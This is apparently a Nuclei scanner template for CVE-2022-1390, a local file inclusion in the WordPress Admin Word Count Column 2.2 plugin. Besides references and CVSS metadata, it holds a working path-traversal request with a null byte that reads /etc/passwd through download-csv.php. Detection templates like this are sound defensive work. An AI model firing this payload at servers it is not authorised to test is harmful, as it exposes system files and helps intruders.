id: CVE-2022-1390

info:
  name: WordPress Admin Word Count Column 2.2 - Local File Inclusion
  author: daffainfo,Splint3r7
  severity: critical
  description: |
    The plugin does not validate the path parameter given to readfile(), which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique.
  reference:
    - https://packetstormsecurity.com/files/166476/WordPress-Admin-Word-Count-Column-2.2-Local-File-Inclusion.html
    - https://wordpress.org/plugins/admin-word-count-column/
    - https://wpscan.com/vulnerability/6293b319-dc4f-4412-9d56-55744246c990
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1390
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1390
    cwe-id: CWE-22
  tags: packetstorm,wpscan,cve,cve2022,wordpress,wp-plugin,lfi,wp

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/08/01